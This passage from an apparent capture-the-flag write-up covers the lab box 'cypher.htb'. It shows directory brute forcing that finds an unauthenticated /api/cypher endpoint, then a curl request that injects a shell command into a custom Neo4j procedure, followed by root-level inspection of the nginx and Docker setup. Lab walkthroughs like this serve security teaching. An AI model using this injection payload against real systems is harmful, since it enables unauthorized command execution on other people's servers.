      style stop1 height:0px;
      start2[ ] --->|unintended| stop2[ ]
      style start2 height:0px;
      style stop2 height:0px;
    end
    A[Website]-->D(<a href='#cypher-injection'>Cypher Injection Login Bypass</a>);
    D-->E(<a href='#site-1'>Website Access</a>);
    E-->F(<a href='#rce-poc'>Command Injection in /api/cypher Endpoint</a>)
    F-->G(<a href='#shell'>Shell</a>)
    A-->B(<a href='#unintended-path'>Directory Brute Force</a>)
    B-->F

linkStyle default stroke-width:2px,stroke:#FFFF99,fill:none;
linkStyle 1,6,7 stroke-width:2px,stroke:#4B9CD3,fill:none;
style identifier fill:#1d1d1d,color:#FFFFFFFF;

While the wordlist I typically use doesn’t have cypher in it, many from SecLists do, and so by brute forcing on /api, it can be identified:

oxdf@hacky$ feroxbuster -u http://cypher.htb/api -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://cypher.htb/api
 🚀  Threads               │ 50
 📖  Wordlist              │ /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        1l        2w       22c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
307      GET        0l        0w        0c http://cypher.htb/api => http://cypher.htb/api/docs
405      GET        1l        3w       31c http://cypher.htb/api/auth
404      GET        7l       12w      162c http://cypher.htb/api/b33p%2Ehtml
422      GET        1l        2w       91c http://cypher.htb/api/cypher
[####################] - 9m    220545/220545  0s      found:4       errors:0
[####################] - 9m    220545/220545  431/s   http://cypher.htb/api/ 

For some reason, the /api/cypher endpoint doesn’t require auth, so I can just use it from here without auth:

oxdf@hacky$ curl $'http://cypher.htb/api/cypher?query=CALL+custom.getUrlStatusCode(\"localhost%3b+id\")+YIELD+statusCode'
[{"statusCode":"000uid=110(neo4j) gid=111(neo4j) groups=111(neo4j)"}]

Webserver Configuration

/var/www

There are two directories in the standard website location:

root@cypher:/var/www# ls
graphasm  html

html just has the default debian nginx page. graphasm has the site:

root@cypher:/var/www# ls graphasm/
about.html               data.json            login.html               testing
bootstrap.bundle.min.js  highlight.min.js     logo.png                 us.png
bootstrap.min.css        index.html           monokai-sublime.min.css  utils.js
bootstrap-notify.min.js  jquery-3.6.1.min.js  sanitized.json           vivagraph.min.js

It’s a bit weird though as while the index, login, and about pages are there, there’s no demo page. testing does have the JAR file:

root@cypher:/var/www# ls graphasm/testing/
custom-apoc-extension-1.0-SNAPSHOT.jar

There’s also no connection information for Neo4J. This appears to be just the static part of the site.

nginx Config

nginx has only a single site configured:

root@cypher:/etc/nginx/sites-enabled# ls
default

It defines a single server homed in /var/www/graphasm:

server {
        listen 80 default_server;
        server_name _;                                     

        if ($host != cypher.htb) {
            rewrite ^ http://cypher.htb/;
        }

        root /var/www/graphasm;
        index index.html;
...[snip]...                         
}   

This also handles the redirect to cypher.htb if that isn’t the site.

The rest of that server configuration is a series of locations:

        location /demo {
            proxy_pass http://127.0.0.1:8000;              
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            include       /etc/nginx/mime.types;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
            include        fastcgi_params;                 
        }

        location /api {
            proxy_set_header Host $http_host;                                 
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;            
            proxy_set_header Upgrade $http_upgrade;                
            proxy_set_header Connection $http_connection;          
            proxy_redirect off;                                               
            proxy_buffering off;                                              
            proxy_pass http://127.0.0.1:8000;                                 
        }

        location / {
            root /var/www/graphasm;
            try_files $uri $uri/ @htmlext;                                    
            default_type  application/octet-stream;                           
            include  /etc/nginx/mime.types;                                   
        }                              

        location /testing {            
            alias /var/www/graphasm/testing/;                                 
            autoindex on;              
            try_files $uri $uri/ =404;                                        
        }

        location ~ \.html$ {           
            try_files $uri =404;                                              
        }

        location @htmlext {            
            rewrite ^(.*)$ $1.html last;                                      
        }     

/demo and /api are proxied to TCP 8000. The rest are hosting from /var/www/graphasm. This includes logic to add the .html extension, which is why visiting /login returns login.html.

Docker

Port 8000 is being served by Docker:

root@cypher:/# ss -tnlp | grep 8000
LISTEN 0      4096       127.0.0.1:8000      0.0.0.0:*    users:(("docker-proxy",pid=1786,fd=7))

This is visible in the process list as well:

root@cypher:/# ps auxww | grep 8000
root        1746  0.1  0.6  98068 25924 ?        Ssl  Jul22   1:56 /usr/local/bin/python3.9 /usr/local/bin/uvicorn app:app --reload --host 0.0.0.0 --port 8000 --root-path /api
root        1786  0.3  0.1 2188116 6364 ?        Sl   Jul22   4:27 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8000 -container-ip 172.18.0.2 -container-port 8000 -use-listen-fd

There’s a uvicorn process listening on 8000. That’s going to be inside the container. docker ps shows the container:

root@cypher:/# docker ps
CONTAINER ID   IMAGE                       COMMAND                  CREATED        STATUS        PORTS                      NAMES
d1313f9003f3   cypher-htb-fastapi:latest   "uvicorn app:app --r…"   4 months ago   Up 21 hours   127.0.0.1:8000->8000/tcp   fastapi

I can get a shell inside the container with docker exec -it fastapi bash. I’ll leave it here, though I’ll always recommend digging deeper into application source to understand how it works!